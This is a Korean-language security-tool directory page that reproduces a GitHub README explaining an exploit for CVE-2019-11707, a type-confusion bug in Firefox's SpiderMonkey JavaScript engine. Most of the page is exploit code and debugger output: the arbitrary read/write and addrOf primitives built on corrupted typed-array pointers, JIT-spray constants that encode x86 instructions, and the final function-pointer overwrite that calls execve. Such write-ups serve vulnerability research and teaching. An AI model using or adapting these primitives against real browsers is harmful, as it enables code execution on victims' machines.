Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
도구/GitHubGitHub/flabbergastedbd/cve-2019-11707
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationShellcode GenerationPayload DevelopmentBinary Exploitation
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

저장소 보기
22196년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SpiderMonkey - CVE-2019-11707

버그: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

스크린샷

source

exploit

파일

  • exploit.js - 실제 익스플로잇, saelo의 util.js 및 Int64.js가 앞에 추가됨.
  • stager.js - 상수 생성을 위해 사용되며, saelo의 util.js 및 Int64.js가 앞에 추가됨.
  • stager.py - keystone을 사용하여 명령어를 조립하는 데 사용됨. 출력은 stager.js에 제공됨.

익스플로잇 개요

  • 타입 혼동을 사용하여 타입 배열 버퍼를 넘어 쓰기 (setup()에서 수행).
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // 이 [:8]을 사용하여 아래 배열의 데이터 포인터를 제어
  new Uint8Array(0x10), // 임의 RW 배열
]
  • TLDR: exploit_pack[0]의 백킹 버퍼를 넘어 exploit_pack[1]의 데이터 포인터 필드에 씀. exploit_pack[2]의 데이터 포인터 필드 주소를 가리키도록 설정.
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • 임의 RW 가능, 주소는 exploit_pack[1]의 내용으로 설정할 수 있으며, 내부적으로 exploit_pack[2]의 데이터 포인터를 수정합니다. 그런 다음 exploit_pack[2]를 사용하여 메모리를 읽거나 씁니다.
function read(ptr) {
  read_addr = new Int64(ptr);
  // exploit_pack[2]의 데이터 포인터 변경
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // 포인터에서 0xfffe 제거
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // exploit_pack[2]의 데이터 포인터 변경
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • exploit_pack 자체를 사용하여 addrOf 프리미티브를 구성합니다.
function addrOf(obj) {
  exploit_pack[3] = obj;

  // exploit_pack[2]의 데이터 포인터 변경
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // 포인터에서 0xfffe 제거
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • 기본 JIT 스프레이를 수행하고, 일부 구조체를 탐색하여 JIT 함수 포인터를 얻고, 점프할 흥미로운 오프셋을 찾습니다. 이 오프셋으로 실제 함수 포인터를 덮어씁니다.

JIT 스프레이

  • 간단히 말해, 아래와 같은 함수를 r-x 페이지에 강제로 넣을 수 있습니다.
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • JIT 후에는 아래와 같이 보입니다. 상수 0xdeadc0debaad를 볼 수 있습니다.

Actual JIT

gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • 만약 동일한 바이트가 아래와 같이 다른 오프셋에서 명령어로 파싱되기 시작하면, 모든 것이 바뀝니다. 이것이 JIT 스프레이의 핵심입니다.

Offset JIT

gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • 아이디어는 우리가 제어하는 7바이트를 사용하여 4c 89 5d XX 49 bb 00 바이트를 우회하는 것입니다. 상대 점프를 사용하여 이 바이트들을 건너뛸 수 있습니다.
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • 상대 점프는 2바이트를 차지하므로, 어셈블리 명령어를 쓸 수 있는 5바이트가 남습니다. JIT 함수가 호출될 때 함수 매개변수는 스택의 특정 오프셋에서 사용 가능합니다. 따라서 JIT 함수가 매개변수를 받고 있었습니다.

registers

  • Linux에서 syscall을 위한 X86-64 호출 규칙에 따라, execve syscall을 위해 레지스터에 다음 값들이 필요합니다.
rax: syscall 번호
rdi: 프로그램 경로
rsi: argv
rdx: envp
  • 다음 mov 명령어는 스택의 오프셋에서 관련 레지스터로 값을 이동하는 데 매우 유용합니다. 정확히 5바이트입니다.
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • 따라서 상수를 구성할 수 있습니다. 이것들이 어떻게 생성되었는지 확인하려면 stager.py -> stager.js를 참조하십시오.

  • 객체 구조에서 실제 JIT 함수 포인터를 덮어쓰고 오프셋으로 교체합니다. 매개변수와 함께 함수를 호출합니다.

write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • stager가 작성된 방식으로 인해 3개의 인수를 사용하여 모든 syscall을 수행하기 쉽습니다.

매우 유용한 링크

  • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
  • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
  • https://vigneshsrao.github.io/writeup/
  • https://github.com/saelo/jscpwn
도구 다운로드